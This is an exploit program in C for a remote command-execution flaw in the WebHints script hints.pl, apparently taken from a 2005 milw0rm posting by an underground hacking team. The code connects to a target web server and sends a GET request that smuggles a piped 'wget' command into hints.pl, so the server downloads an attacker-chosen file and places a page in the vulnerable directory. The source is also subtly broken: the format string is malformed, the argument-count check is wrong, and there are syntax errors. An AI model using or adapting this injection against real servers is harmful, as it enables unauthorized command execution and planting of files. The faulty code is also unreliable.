/*
**************************************************************************************
* T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m *
**************************************************************************************
EXPLOIT FOR : WebHints Remote C0mmand Execution Vuln
Coded By: A l p h a _ P r o g r a m m e r (Sirus-v)
E-Mail: Alpha_Programmer@Yahoo.Com
This Xpl Upload a Page in Vulnerable Directory , You can Change This Code For Yourself
**************************************************************************************
* GR33tz T0 ==> mh_p0rtal -- oil_Karchack -- The-CephaleX -- Str0ke *
*And Iranian Security & Technical Sites: *
* *
* TechnoTux.Com , IranTux.Com , Iranlinux.ORG , Barnamenevis.ORG *
* Crouz , Simorgh-ev , IHSsecurity , AlphaST , Shabgard & GrayHatz.NeT *
**************************************************************************************
*/
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#define MY_PORT 80
#define BUF_LEN 256
/**************************************************************************************/
int main(int arg_c, char *arg_v[])
{
static const char cmd[] = "GET %chints.pl?|wget %c| HTTP/1.0\r\n\r\n" , arg_v[2] , arg_v[3];
struct sockaddr_in their_adr;
char buf[BUF_LEN];
struct hostent *he;
int sock, i;
WSADATA wsdata;
/* Winsock start up */
WSAStartup(0x0101, &wsdata);
atexit((void (*)(void))WSACleanup);
if(arg_c != 3)
{
printf("=========================================================\n");
printf(" Webhints Exploit By Alpha_Programmer\n");
printf(" Trap-set Underground Hacking Team\n");
printf(" Usage : webhints.exe [Targ3t] [DIR] [File Address]\n");
printf("=========================================================\n");
return 1;
}
/* create socket */
printf("calling socket()...\n");
sock = socket(AF_INET, SOCK_STREAM, 0);
/* get IP address of other end */
printf("calling gethostbyname()...\n");
he = gethostbyname(arg_v[1]);
if(he == NULL)
{
printf("can't get IP address of host '%s'\n", arg_v[1]);
return 1;
}
memset(&their_adr, 0, sizeof(their_adr));
their_adr.sin_family = AF_INET;
memcpy(&their_adr.sin_addr, he->h_addr, he->h_length);
their_adr.sin_port = htons(MY_PORT);
/* connect */
printf("C0nnecting...\n");
i = connect(sock, (struct sockaddr *)&their_adr, sizeof(their_adr));
if(i != 0)
{
printf("C0nnect() returned %d, errno=%d\n", i, errno);
return 1;
}
/* send H3ll C0mmand */
printf("Sending H3ll Packets...\n");
i = send(sock, cmd, sizeof(cmd), 0);
if(i != sizeof(cmd))
{
printf("Send. returned %d, errno=%d\n", i, errno);
return 1;
}\n
printf("OK ... Now You Can Test your file in hints.pl Directory\n"):
closesocket(sock);
return 0;
}
// milw0rm.com [2005-06-11]